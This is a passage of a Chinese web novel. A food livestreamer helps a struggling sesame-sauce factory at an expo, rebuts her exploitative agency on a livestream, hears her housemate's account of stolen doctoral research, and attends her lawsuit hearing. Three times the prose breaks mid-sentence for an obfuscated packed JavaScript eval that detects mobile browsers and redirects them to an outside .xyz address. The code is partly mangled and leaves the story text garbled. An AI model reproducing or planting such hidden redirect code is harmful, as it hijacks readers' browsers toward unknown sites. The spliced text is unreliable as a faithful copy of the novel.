火锅计划泡汤,两人商量一番决定去吃烤鸭。两人选了一家会做烤鸭的老字号饭店,这家店并不算太热门,没排多久他们就可以进去了。 往门内走的时候迎面撞上了一队人,应璋拉着柏临渊往旁边让了让,但为首的人并没有过去,反而在离她不远的地方停了下来。 “您好,请问是您是应女士吗?就是TT直播账号是AAA饭桶批发商的?”开口的是一位看起来十分利落的中年女性,讲话不紧不慢,很有气质。 “是我,您也好。”被人大庭广众之下叫出网名的应璋尴尬地脚趾抠地,嘴比脑子快的回了一句,也不清楚自己到底说了什么。 “应女士您好,我是华盛美味鲜食品厂的老板安立。”安立笑着递上名片,小声解释道,“就是给你吃的那家火锅店的芝麻酱供货商。” “啊?哦,哦!”应璋双手接过名片,诚心诚意地夸赞起来,“你们家芝麻酱真的好好,又香又浓。” “那以后您家包括芝麻酱在内的所有的调味品我都包了。”安立笑容畅快,“拖您的福,也让我们厂跟着吃了上了这泼天的流量。” “哪里哪里。”应璋紧张地把手背后去扯柏临渊的袖子,“您太客气了,是您家的产品好。” “我给您的TT账号发了私信,但是您没有回复。” 安立打开手包拿出一个造型简单的信封。 “是这样的,后天在沪市有面向全国的农博会,我自作主张给您留了张参展证,想着您要是感兴趣的话可以去展会逛逛玩玩,凭借这张参展证展会期间消费都由我们厂买单。” “这怎么好意思……” 应璋连声拒绝,正好前台叫号的工作人员在催,便拉着柏临渊准备逃:“到我们的号了,我们先去吃饭,感谢安总的邀请。” “你们带她们去我的包厢。”安立笑了起来:“这家店是我爸开的,甜面酱就是我们厂里特供的。你伤没好不能多吃酱,回头给我个地址,给你寄我们家的酱货卤味。” 应璋脑子懵懵地拉着柏临渊一起落座,怎么也没想到吃口烤鸭怎么还有支线奇遇。 “其实我找您也是有私心的,您不用觉得占我便宜不好意思。”安立把信封拆开推了过去,“这个食品厂是我妈妈奋斗大半辈子的老伙伴,几十年过去效益越来越差,我们用了很多办法都没有办法打开销量。” “之前我们也试过做电商,但是没什么流量也没什么起色。说起来不怕你笑话,这种现状再维持个一年半载,我们就要破产清算了。” “怎么会这样……”应璋很是震惊,“你们的酱那么好,怎么会破产?” “也就是几家老店会采购一些,销量也不大的。”安立叹了口气,“我们做了很多努力,换了包装,出了新口味,还找了明星做代言,全都无济于事。” “但是你吃播的片段上了热门后,我们厂一下子进入到公众视野中了,销量指数激增,产能都供应不上了。” “真的吗?那太好了!”应璋真情实感地为这个食品厂高兴,“这么好吃的酱料要是停产就太可惜了,工人们也能有稳定的工作和收入了!” “是啊!” 听了应璋的话,安立的眼里多了几分欣赏,她没想到应璋年纪轻轻就有这样的格局。 “所以我才要感谢您,我们之前耗费近百万都没有您这段视频的效果好,如果您愿意的话,我们也可以签代言合同,我真的觉得您的形象很合适。” “都是巧合,安总太客气了。” 应璋哪里敢贪功,她不过是吃了一顿饭,哪里就值当人家真金白银的感谢了呢? “这也是我想请您参加农博会的原因。”安立很是诚恳,“如果您愿意的话,展会第一天可以在我们展台当两个小时的试吃体验官,边吃边和网友聊聊天就好。我会将当天直播收入的十分之一当做您的报酬。” “如果您不想直播的话,在展会吃吃逛逛也挺好的,差旅消费等开销都由华盛负责。” “菜好了,两位慢慢吃,我就不多打扰了。”安立起身告辞,“您怎样做决定都好,就当和我交个朋友。” 应璋点头:“那我就叫您一声姐,关于您今天说的这件事,我需要再考虑考虑……” “好!”安立把一同起身的应璋按回座位,“不用送我,你好好吃饭,不管做什么决定我都理解,不要有负担。” 目送安立离开,应璋看向柏临渊:“你想去展会吗?” “不想去人多的地方。”柏临渊语带迟疑,“但是也想看看有什么可以做菜用的。” “要不我们自己去看?”应璋看着桌子上的工作证,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390728|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点犹豫,“但是有工作证可以提前转转,这样就可以避开人群了。” “没有关系。”柏临渊盛了一碗汤放在应璋面前,又卷了一个烤鸭卷放在应璋碗里,“我只是不太喜欢,人多也没什么。” “这样好了!”应璋眼睛亮亮,一碗汤喝得豪情万丈,“我参加直播,收益捐出去做公益!这样我就能大吃特吃,还不会觉得不好意思!” 柏临渊看着应璋眉眼带笑:“还喝汤吗?” “喝!”应璋把烤鸭卷一口塞进嘴里,“我还能再喝三碗!” * 应璋坐在镜头前,看着调试大屏上看起来有些陌生的自己,不知道为什么突然有点紧张。 之前开直播也好,做视频也罢,应璋完全都没有考虑过流量,更别提直播带货了。现在要把闹着玩的东西当成正式工作来做了,应璋下意识就紧绷了起来。 “璋璋是紧张了吗?” 安立走过来,帮应璋理了理头发。几天相处下来,两人直接姐妹相称,关系渐渐也亲密了不少。 “有点。”应璋坦言道,“我还是第一次做直播带货,害怕弄砸了。” “不怕。”安立笑眯眯地往应璋手里塞了一把糖,“你就开开心心地吃就行,不用讲什么。要是觉得好吃讲讲口感、口味,不想吃了就吃糖。” 安立塞的是自家做得麻杆糖,芝麻的焦香混着麦芽糖的香气直往应璋鼻子里钻。 “好香!”应璋挑了个短的塞进嘴里,“这个好吃,等下我想买点带回去。” “买什么?我妈自己做的。”安立从包里掏出一个不算太大的食品保鲜袋,“是以前厂里会做的,后来效益太差不做了,机器也卖掉了。” “啊……”应璋遗憾的把保鲜袋收了起来,“我好多年没吃过这么香的芝麻糖了,要是能开生产线就好了。” “能保住现在的几条线我就谢天谢地了。”安立看到工作人员的示意,准备往镜头外走,“放轻松,随便吃吃,等会姐陪你逛逛其他展位。” 应璋:“好!” 不知道是为了追求自然,还是不想给应璋增添负担,安立并没有给应璋安排剧本,应璋也没有拿到产品册,就坐在主播旁边等待投喂。 整个直播间就像是小型烹饪间,不是什么芝麻酱的十种吃法、如何用小磨香油调配出好吃的油碟等等……吃得应璋双眼放光。 闻讯赶来的网友也被应璋的吃播馋得直刷屏。 [我知道了!买二八酱!那个小姐姐连吃了两个小碗!] [怎么吃这么多带酱汁的食物都不腻?有这么好吃吗?] [不信!除非给我也吃一口!] [可以搞两瓶黑芝麻酱,早上配面包吃!] [很气,手机闻不到味!] [看馋了,拿上车钥匙出门去现场试吃!] [太可爱了!捧着芝麻糖嚼得样子好像小松鼠!] [好多年没见过这种糖了,怎么没有上架?] [……] 偶尔也有零星的差评。 [吃得太假了,装的吧?怎么可能把所有的都吃得干干净净!] [刚火几天就出来带货?真恶心!] [原来是剧本网红,就是为了带货,拉黑了!] [……] 不过应璋并没有看到这些留言。 直播间灯光很亮,她根本看不清远处大屏上的小字,看实时互动的手机在讲解的主播那里,她也看不见。不知毁誉的应璋在直播间自顾自地吃得开心,全程就做两件事——嚼嚼嚼,以及分享口感。 两个小时的直播很快就结束了,应璋拉着安立去看昨天没来得及逛的展位。 这是应璋第一次逛农博会,简直大开眼界——原来国内也种蔓越莓、夏威夷果,内陆盐碱湖还能养海鲜,甚至还有冰红葡萄酒! 这还有什么好进口的?都可以自产自销了! 不过大部分展位都是无人问津的状态。就像安立的食品厂一样,很多农产品和食品调味品在很长一段时间都处于无人问津的状态,公众既不了解,也不知道。 很多产品没有形成足够的规模,也没有对应的行业标准,就算展现到公众面前,消费者也很难从良莠不齐的商品中选到合适的。 应璋在听了几个展商的故事后,也很感慨,心里隐隐有些想法在萌芽。 借助应璋还没消散的热度,安立的食品厂在这次展会中博得了不少关注,甚至在众多网友的推动下重启了麻杆糖的生产线。 而食品厂的热度又带动了农博会的热度,就连农业频道也连线应璋做了个小小的语音专访。 应璋被这一连串突如其来的热度弄得晕晕乎乎,只觉得整个世界充满了善意——网友的调侃和喜欢、各路展商的友善和热情、官媒的认可和鼓励…… 这一切都来的太快太急,像云朵一样层层堆叠着包围了应璋。 在一片温柔的善意中,一篇充满恶意的公告冲上热搜。 20. 回应 被应璋和莫伊倪联手送上两次热搜后,沉默很久装死不作声的铃戏突然在大眼上发了一篇长长的公告。 与其说是公告,不如说是一封长信,言辞极其口语化和情绪化,如果不是盖了公章,说是员工发牢骚的口水话也不为过。 公告内容大致分为三个部分,第一个部分就是主要讲述公司的爱才之心,讲公司对应璋的培养,再有就是对公司的歌功颂德。 应璋直接上划跳过,满满一屏幕字怎么一句能看的都没有。 第二部分比第一部分直白多了,也不端着公司的口吻了,已经以第一人称开始讨伐应璋没有契约精神,擅自直播并以此获利,全程没有通过公司,罪大恶极。 第三部分就是赤裸裸的威胁,责令应璋速速配合直播工作,公司将用铃戏的资源和影响力可以助力应璋在直播事业上走得更远,如果应璋不识抬举的话,公司就要拿起法律武器夺回损失的利益。 配图主图是不知道从哪里统计的收益明细。 为了增强公告的可信度,铃戏贴了九张图,不仅有他们奇怪的Excel截图,还有应璋的部分合同照片。最绝的照片还是铃戏所谓的证据——各路营销号用应璋视频挂芝麻酱链接的截图。 看完应璋都气笑了,铃戏的法务是统统进去喝茶了吗?到底是以什么样的心态发的这种公告啊? 最可笑的是铃戏不仅给这条公告买了热搜,还@了应璋的账号。 而应璋在手撕铃戏后,就隐藏了账号上除了挂铃戏之外的所有内容,吃瓜群众点进来只能看到图文并茂、条理清晰、内容详实的铃戏犯罪实录。 不知道铃戏的目的达成了几分,总之等应璋看到时,公告下的评论区已经被看热闹的网友攻占了。 [顺着热搜点进来,应璋是谁?] [原来应璋就是热心市民应女士啊?] [不是,这身手、这长相是娱乐圈的?我怎么一点印象都没有?] [这姐大眼都把铃戏锤成什么样了?铃戏还发公告买热搜?他怎么敢的啊?] [有一说一,越过公司直播挣钱,确实是违规的。] [这里有个瞎子,我们一起来嘲笑他!] [这个合同……嘶……霸王条款?] [这也能算应璋直播挣钱?营销号挂车钱打她卡上吗?] [跟那个芝麻酱厂子一起直播的总算挣钱了吧?好歹也是艺人。] [别逗了,在铃戏买热搜之前,我都不知道她是艺人,也没人宣传过她是啊……] [别说热心市民应女士了,没人在意这个全是错别字和病句的公告吗?] [这也能叫公告?这公司要完了吧?] [……] 非常巧的是,就在应璋看到这篇公告的当天下午,她就收到了法院的调解通知。 应璋:……真的还有调解的必要吗? 不管应璋怎么想,该走的流程还是要走的。作为遵纪守法的好公民,应璋当天就买票回了婺州。 铃戏派来参与调解的勉强也算是熟人,就是当初谈话时跟在贾道仪身后的小女生。应璋瞄了一眼她的工牌,上面“实习生”几个大字清晰可见。 这又是卖命又是劳碌的,都不配吃上一口饼吗? “铃戏没有给你转正吗?”应璋疑惑出声,“从我看到你到今天也有六个月了吧?你还没有转正吗?实习期长成这样,你可以告他的。” 应璋没有经历过普通打工人那一套入职流程,但是当初为了摆脱这个神经公司,她可是在何律的办公室翻了一下午劳动法的,多少也是经过知识洗礼的。 “你……我会转正的!”女生气冲冲地喊了一句,然后拉开椅子一屁股坐下。 “啧……真是毫无威慑力的口号。”黎律师抱着文件夹准备进门,正好听见对方的宣言,忍不住嗤笑出声,“铃戏的法务没有正式员工了吗?派一个实习生过来……传出去我名声得多难听,欺负实习生,啧啧……” 应璋捂脸,黎律攻击性max,还没踏足战场已经燃起战火。 正如应璋的猜测,铃戏在黎律的攻势下兵败如山倒。调解?调不了一点哈! “你们这个公司都烂成这样了,是怎么坑到这么多钱的?”黎律疑惑,“公司拖欠你的资金现在能统计出来的就有二百多万了,统计不出来的呢?你们还是二八分……啧啧……还是娱乐圈的钱好赚……” 应璋没敢吱声,她怕黎律战斗上头连她一起攻击。黎律这个战斗力,对待敌人上去就是一巴掌,对自己人更是两巴掌,嘴巴毒起来攻击是不分敌我的。 “幸亏这个公司是个草台班子,做事难看就算了,还不给自己扫尾。”黎律咂咂嘴,语气颇为遗憾,“感觉打起来没什么难度,像在欺负傻子。” “怎么会是欺负傻子呢?这明明就是在替天行道!”应璋夸得真心实意,“对了,公开庭审是什么意思啊?为什么要申请这个?” 应璋越问声音越小,她总觉得黎律的眼神像是在看傻子。 “唉。”黎律慢条斯理地调了调腕表,“前天他们不是发公告黑你,我让你先别回应吗?” 应璋点头:“嗯,我没回。” “现在你可以回应了。”黎律递了一份材料过去,“就按这个材料来,具体内容你自己增删。” “不着急回应视频可以慢慢做,我刚刚找朋友问了一下,差不多一周就能立案了,到时候你发回应的时候记得邀请网友一起来围观庭审。” “啊?”应璋的双眼微微放大,不太理解黎律的意思。 “你把回应发出去之后,法律相关的人能扒出不少有意思的内容,估计能再上次热搜。”黎律笑道,“我这次申请的公开庭审应该不会放人进现场,但会在华国法院庭审直播网播出,我回头给你做个教程,你记得发出去让网友去直播间看乐子。” 这也能直播? 应璋忙不迭的接过黎律的援助,珍而重之地收在口袋里。 等会到家就按这个写视频脚本。 沉默的这段时间,吃瓜的热度也渐渐散了。应璋和黎律商量过后决定用直播的方式来公开回应。 选择这种方式回应主要是应璋的直播账号粉丝比较多,更利于内容传播。再有就是,铃戏既然用直播来指责应璋,应璋选择用直播来回击也算是有来有回。 提前一天发布直播预告后,应璋在晚上八点准时进入直播间。 应璋原以为能有几百个观众就很好了,没想到刚进直播间就被海量的吃瓜乐子人卡了出去。 应璋:? “为什么会有那么多人?”应璋抱着手机一溜烟地跑到柏临渊的书房,征用了他的电脑重新开播。 “可能是平台推流吧?” 柏临渊把手机往背后藏了又藏,亮起的屏幕上有水军推流公司对接人在不停地给他发消息,而他声音平静,仿佛和对方聊天的人不是他。 “这有什么好推的?”应璋抓抓头发,一边在手机APP上发公告,一边在电脑上安装直播软件,“我又不是什么名人,这是做什么呀?” “人多也挺好的,有更多的人看见,就有更多的人知道真相。”柏临渊声音很轻,混在机箱的嗡鸣声中,不知道是说给谁听的,“被冤枉被污蔑是很可怕的事,真的,很可怕。” “不许睡,等我直播完。”应璋敏锐地感觉到有些不对劲,但直播间已经快加载好了,只能丢下一句交代匆匆开播,“等我下播,我们聊聊。” “观众老爷们好,我是热心市民应女士,辛苦大家久等啦!”屏幕跳转的瞬间,应璋调整好了脸上的表情,热情地向直播间的观众们打着招呼。 “今天开播主要是回应一下铃戏的‘控告’,顺便带大家吃口烂瓜。”应璋对着镜头举起手上厚厚的资料,“好戏开幕之前,我先关一下打赏和礼物,让我找找在哪……” 平台把关闭打赏的设置藏得很隐蔽,应璋找了半天才找到在哪。一切准备就绪后,应璋举起雷神之锤开始审判。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412455|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “关于铃戏公司声称的培养和照顾,我想向大家说明一下。”应璋清了清嗓子,“在和公司签合同时,我是以练习生的身份签约的,公司原计划是把我塞到选秀综艺里的,但是由于同期公司内有位外貌、形体条件更好的艺人选择了这部综艺,我就被经纪人汪继打包塞进了一个网剧里做演员。” [?????] 看着屏幕上的一片问号,应璋没有就综艺或者同期继续说,而是讲起了铃戏的“培养”:“对,签合同的第三天,一节课没上过的我就进了剧组,演的是《会有精灵替我爱你》里的反派女妖王。” “导演说我妆重,让我表情大一点,我信了。”回忆起演艺圈初体验,应璋的神色很古怪,“然后网上到处都是我的表情包,就是那个,我不活了……” [啊啊啊啊啊——原来我爱用的那个过场抽象表情是你!] [什么?这真的是同一个人吗?] [娱乐圈还是太好混了吧,新人一节课不上就有戏演?] [但是有这张脸演什么不行?总比鲶鱼演天下第一美女强!] [虽然但是这也太抽象了吧?] 这并不是应璋此次直播的重点,于是她只是几句带过,把话题绕了回来,“因为我拒绝了铃戏分给我的工作以外的安排,成为了‘劣质艺人’,因此我在铃戏工作期间得到的培训和照顾为,零。” “培养不是在Word上打字,抬抬手动动嘴皮子就是‘培养’,请铃戏方拿出图文证据,虚开的发票不算哈,看到我会打税务电话举报的。” [哈哈哈哈哈娱乐圈也这样吗?我还以为是我司,什么都不教,但是“培养”。] [好刚哦,喜欢,我有个朋友也想看,没什么,主要是好奇娱乐圈怎么培养。] [税务举报哈哈哈哈!这姐好狠我好爱!] “关于直播收益。”应璋在手机APP上找到自己的后台,展示给吃瓜群众看,“我当时直播只是为了陪朋友吃饭,纯粹为爱发电,直播收益是,0。” 展示过空空荡荡的收益界面后,应璋又拿起了一份文件:“能帮到华盛美味鲜食品厂,我也很意外,没有想过这样好吃的老牌调味食品厂会走到难以为继的地步,因此接受了老板安立女士的农博会邀请。” “当然了,安立女士并没有让我打白工,而是承诺会分给我直播收益的一部分。”应璋翻开文件封面向镜头展示上面的文字,“这一部分说实话,并不应该由我拿来,让厂子起死回生的是广大网友,给厂子真情实感支持的也是广大网友,所以这笔收入我让安姐以农博会直播间消费者的名义捐了出去。” “这份是我们当时签的合同,这里是协议内容…,这里是签字和公章。”放下合同,应璋拿起另一份文件,“这个是捐赠证明,直播结束后会把高清原图放到大眼和我的直播主页。” “所以铃戏在我的公益行为里损失了什么呢?”应璋摊手,用乐子人的语气丢出大瓜。 “在看到公告的当天,我收到了法院的庭前调解通知。” “是我告铃戏,嗯,拖欠工资以及劳动报酬合计二百三十二万三千九百一十六元。”应璋假笑,“为什么能精确到个位数?因为是这几年里从几十分合同中整理出来的金额,我掌握证据能证明的。” “这是立案单,我方律师申请了公开庭审,等庭审日期出来,我会在各个平台公布给大家。” 应璋把桌子上的各种材料收好,开始直播教学,“庭审会在华国法院庭审直播网播出,我来教一下大家如果抵达法律学习现场……没记住?没有关系,教程我会和证据一起放在我的账号主页上,大家可以反复学习~” “那么今天的直播就到此为止啦,等有消息我再通知大家哦~拜拜~” 下播后,应璋终于松了口气。 讲了这么久,嘴巴都干了。 一口气喝干了柏临渊准备的蜂蜜水,应璋放下杯子擦擦嘴。 “来,咱俩聊聊。” 21. 过往 完全没察觉到战火烧到自己身上的柏临渊端着刚烤的小饼干凑了上来,乖巧地坐在应璋旁边开始夸夸。 “你今天讲的特别好,条理清晰,口齿伶俐。”柏临渊给应璋的水杯满上蜂蜜水,接着夸夸,“我看好多网友都说想借你的嘴用。” “那你呢?”应璋盯着柏临渊的眼睛,“那你想不想借?” “怎……怎么借……”柏临渊目光闪躲,只觉得脸上温度攀升,热得他喉咙发干,只能一口接一口的喝着杯子里的水。 “直接借,你不好意思讲的话,不方便讲的话,我来讲。”应璋很认真地看着柏临渊,目光坚定而温暖,“讲你的冤屈、不甘。” 柏临渊愣愣地看着应璋,脸上血色尽褪,眉宇间尽是慌乱:“我……没有冤屈、不甘……” “真的吗?”应璋歪头,手虚虚抚上柏临渊的胸口,“但是这里有很多情绪,既委屈,又不甘。” “你吃了很久的药,但治疗好像陷入了瓶颈期,你的状态并没有变好。” “柏临渊,可以和我聊聊吗?” “我……不知道应该怎么说……”柏临渊垂下眼帘,不去看对面少女明亮的双眸,“不会有人相信的……” “我信。” 应璋调暗了书桌上的光源,让室内的一切笼罩在近似黄昏的模糊光影里,看不清彼此的五官和神情。 “你忘了吗?我们的感官是相通的,可以共享彼此的感受和情绪。现在这么暗,你就把我当成长嘴的影子,你说,我听。” “我是……科大退学的博士生,在我博二的那年……” 沉默了很长时间,柏临渊终于开口讲起他的过往。 “从小我就是个不讨喜的孩子,母亲更喜欢弟弟,父亲在外面另有家庭……好在我成绩还不错,凭借各种奖牌进了清大少年班,成为街坊邻居口中那个‘学习好的孩子’,但是父母依旧不爱我。” “我不清楚为什么,但灵感之神眷顾,我的学业还算顺利,idea不断,实验和论文都很顺利,导师对我也算照顾有加……这一切让我觉得,这个世界还没那么糟糕……” “我博士研究方向是各向异性导热纤维膜,简单来说就是一种能在有限空间里实现高效热管理的一种材料。” 说到专业相关的内容,柏临渊整个人看起来都不太一样了,眼中有比烹饪时更专注的热忱。 “这样技术可以应用的领域有很多,很有可能引发电子元件新一轮变化革命,我对它的未来很有信心,也满怀期待。” 应璋静静地听着,两人双膝相抵,以一种疏离的亲密分享着这一刻的情绪和感受。 “起初,导师让我带上师弟师妹一起做。这是应该的,我是师兄,也是发起人,于情于理我都应该带着他们一起努力。” 柏临渊的声音很平静,像是一个棒读的机器人在执行程序指令,只有应璋能感受到平静之下暗流汹涌的不满和愤懑。 “后来师弟过来找我哭,说他毕不了业了,我给了他一篇一作二,带着他梳理实验思路,论文绝大部分也是我完成的。” 柏临渊低头,呼吸渐渐重了起来。 “但是那篇论文没有我的名字,那么多名字,有师弟,有师妹,有导师,甚至还有师弟的女朋友,但是没有我。” “他们偷了我的论文,我的实验,我的研究方向。” “为了一个分支idea,他们毁了我正在研究的一切,还用我的半成品注册了专利,成立了公司。” “我是……没有股份的公司法人……在我完全不知情的情况下,我要为他们窃取我成果的公司,负责……” 说到这里,柏临渊沉默了很久,沉重的呼吸像是啜泣,愤怒和不甘在血液翻涌,冲的他心口闷痛。 “我申诉了,他们威胁我不要不识好歹。” “然后我被钉在学术不端的耻辱柱上,他们撤回我已经发的论文,还说我霸凌他们……他们逼不得已才注册公司,也是在我的逼迫下让我当的法人……” “为什么?你没有做过的事,他们怎么能这么泼脏水?” 应璋实在听不下去了,她能倾听到现在才出声已经用尽全部的克制力了,一开始她就想邦邦两拳打人了! “……因为我的父母为他们作证了。” 应璋:????? 先不说不在实验室的父母怎么给这群人作证这种离谱证据链,单论这个行为就很抽象啊! “我是不是没有讲过我的故事?” 应璋用膝盖顶了顶柏临渊,话锋一转讲起了自己的故事。 “我姥爷是开武馆的,就是你们南方人的外公。” “这也是我后来被他抓着练武才知道的,小时候我一直以为他就是普普通通技术差劲的农民,种不明白地,收成也不好。” 应璋笑了起来,嘴上埋怨,神情却很怀念:“小老头要是有偶像,我想肯定是陶渊明,两人的种地水平半斤八两。” “我就是跟着这个小老头长大的,在我印象里,从来没有过父母。因为户口本上只有我和姥爷,家里也只有我们俩。” “后来姥爷去世的时候,我才知道我妈还活着,我爸也在。”应璋喝了一口蜂蜜水,冷掉的水顺进喉咙里,是酸的,“他们有个小儿子,打扮得像小王子一样,一家人出现在灵堂的时候,像是另一个世界的来客。” “当时我怨怼中带着欢喜,以为自己又有家了。” 应璋歪头看向直愣愣盯着她的柏临渊,缓缓道:“但是他们只是在灵堂门口站了站,问我要存折。我没给,她们打了我一巴掌就走了。” “我一个人在村支书的指点下操办完后事,又给自己申请了助学贷款。” “坟盖上最后一捧土后,老支书让我烧纸。” 应璋扭头看向灯,透过并不明亮的光源她似乎被带回那个火光明灭的下午。 “那盆火烧得很旺,但是也很冷,我这才意识到,原来不是所有的孩子都在爱和期待中出生。” 一只微凉的手轻轻覆在应璋手背,指尖冰凉带着颤抖。应璋反握回去,和柏临渊对视:“也不是所有的父母都爱自己的孩子。” “不要让不属于你的错过成为你的枷锁。” 应璋的手心干燥温暖,柏临渊忽然有一种想要抱住对方的冲动,犹豫再三,才小声询问道:“可以,抱一下你吗?” 话刚说出口,柏临渊就后悔了:“不……” 没等他说完找补的话,应璋就直接把人抱住了。 “要哭一下吗?”应璋拍了拍柏临渊的后脑勺,把他的头按在她自己的颈窝上,不太贴心地叮嘱道,“鼻涕不要擦到我头发上,好了,可以哭了。” 冷不丁被按在女生香软的颈窝,脸砸在肩膀上的那一刻,柏临渊的脑子都是空的。 “我口袋里还有一包纸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419038|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你随便哭,不够我再去给你拿。”抽出另一手拍了拍柏临渊的后背,应璋抽出一张纸塞到脖子附近,“情绪都酝酿到这了,你先哭一会吧,憋得我难受,共感着呢!” “噗——” 柏临渊没忍住,靠在应璋肩头笑了出来。起初笑声并不大,被布料掩住的声音像夜色一样沉闷,后来笑声越来越大,慢慢也带上了哭腔。 应璋没有说话,只是轻轻拍着柏临渊的后背,安静地听着。等肩膀上浸湿的地方渐渐透出凉意,柏临渊才慢慢收声。 应璋原本想着让他发泄一下情绪,别总是憋着,但没想过人会哭成这个样子。她没哄过人,现在既没有经验,也没有想法,纠结着要不要掏出手机百度解决措施。 “你……要哭一会吗?”柏临渊吸着鼻子小声问道。 “不了吧。”应璋挠头,“小时候哭够了,现在哭不出来,喏,给你纸。” 柏临渊接过只剩一张的纸巾袋子,左脚绊右脚地去了洗手间。 夜色深沉,柏临渊站在没有开灯的洗手间,借着月色和镜子里的自己对视。 开解的话他听过很多,权衡利弊的话他也听过很多,但是这样简单直接地发泄情绪还是第一次。 也是第一次有人如此坦诚直白地接受他的倾诉,句句不提开解,字字皆是理解。 柏临渊觉得他的心跳得很不正常,血液被心脏快速泵到身体各处,有种久违的兴奋和畅快。 不要跳了。 他看着镜子里的自己对自己说。 但是心脏不同意,它要跳,要用力地、急速地跳,要把沉寂许久的情绪和感受传递到身体各个角落,也要让主人没察觉到的悸动从血液的噪鸣中翻涌到身体各个地方。 这边应璋按着她没由来突然狂跳的心脏,不由叹了口气。 真是给人憋狠了,哭一场高兴成这样。 应璋调亮了书房的灯,一边整理一边回忆——她小时候大哭一场会这么开心吗? 好像没有吧? 想不通就不去想了,应璋甩甩头,懒得去想那些过往。这么长时间的独自生活让她的很多方面都变得不再敏锐,钝感力变成躯壳的同时也束缚住了所有的敏感。 “你……” 柏临渊回到书房,看着应璋肩膀上眼泪什么的糊了大片的衣服,不自在地抠着手心。 “你的衣服,要不脱下来我帮你洗洗?” “可以啊。” 应璋想都没想,单手脱下了身上半湿的居家服。 柏临渊下意识扭头别开目光:“啊——” 听到声音的应璋:? “我里面还有件套头卫衣,你别那么紧张。”应璋把脱下来的衣服递了过去,“今天的药吃了吗?我检查一下。” “噢……哦!”柏临渊手忙脚乱地接过衣服,“还没吃……” “衣服先放阳台脏衣篮,过来把药吃了。”应璋起身去冰箱拿了冰袋,“吃完药敷一敷眼睛,然后洗洗睡觉。” “好。”柏临渊乖乖照做,跟在应璋身后亦步亦趋。 “冷敷就消停坐着,别到处乱晃。” 应璋把人赶回客厅,开始思考怎么解决这些棘手的事。 哭一场可以缓解情绪,但解决不了问题。不管是导师、同门、还是父母,这些雷早晚都要炸,她得想想办法。 不然回头柏临渊情绪爆炸,第一个遭殃的就是她! 22. 庭审 庭审当天,黎律看着欲言又止止言又欲的应璋,放下了手上的材料。 “说吧,到底是什么事让你嘴巴忙了半天还是说不出一个字。” “嘿嘿……”应璋凑了过来,“我朋友遇到点事,何律说他拿不准,让我问问你。” “哦?”黎律来了兴致,“一分钟内简述一下,我听听看要不要接。” “就是我朋友研究的半成品被同门和导师偷了半成品发了论文还注册了专利还用这个注册了公司。”应璋一口气差点没上来,猛地吸口气决定还是拆开讲,“然后我朋友在不知情的情况下成为了法人,申诉的时候被折腾到被迫退学。” “这是你还是你朋友?” 黎律皱眉,显然是听多了“我有一个朋友”的故事。 “我朋友!”应璋举手保证,“我考研都费劲的,要是能申博,做梦都要笑醒了。” “法人那个没什么影响,新公司法出来后法人已经不是背锅侠了,他去注销一下就好了,影响不大的。”黎律想了一下,觉得不算什么大事,“论文他去举报撤稿就好了啊,反正都被搞得没学上了。” 应璋瞠目结舌,让柏临渊痛苦到抑郁的一连串打击,在黎律这里怎么解决得这么轻松啊…… 不过易地而处,应璋觉得如果是她遇到和柏临渊一样的情况,她也不会好到哪里去。 黎律以专业人士的眼光一针见血地指出了问题所在,但现实不只是有法律问题,身边人全员恶人这种情节发生在谁身上,谁都得崩溃。 朝夕相处的人共同织出一张盛满恶意的大网,不作防备跌入其中,要如何才能挣脱呢? “别担心,至少在法律这块不是什么大事。”黎律理了理面前的资料,神情轻松,“比起这个,你不如想想胜诉后要干点什么,合同失效了,你就自由了。” “自由?” 应璋签进铃戏也有四年多了,虽然在娱乐圈还是一个透明的边缘人,但确实被这纸不合理条约困住了。这些年应璋几乎没有得到公司任何演艺培训机会,而她自己辛苦试镜争取来的还要把收入大头划给公司。 这期间的苦只有应璋自己知道。 “是啊,自由了。”黎律笑着拍了拍应璋的后背,语气难得温和起来,“我们掌握的证据很充分,就算不能获得赔偿,至少也能争取解约。走吧,要开始了。” 应璋觉得脚下发飘,晕晕乎乎地跟着黎律踏进大门,像是踏入可预见的光明未来。 直播间不能发言,吃瓜群众急得抓耳挠腮,只能另寻它路,去别的网站上开了帖子。 【主题:女明星状告公司今日开庭!点击收看应璋VS铃戏!】 【正文:盼望着,盼望着,今天终于开庭了!庭审直播网不能发弹幕互动,楼主来这里开个直播贴和大家一起吃瓜~】 【1L:来了来了!直播间都开了,怎么还没进场?】 【2L:还没到时间吧,好像直播间提前开了。】 【3L:来了来了![截图][截图][截图]】 【4L:铃戏那边怎么来了这么多人?看起来有十来个,法务团队这么强的吗?】 【5L:强什么?刚进去过一批。不知道这群是不是新招的。】 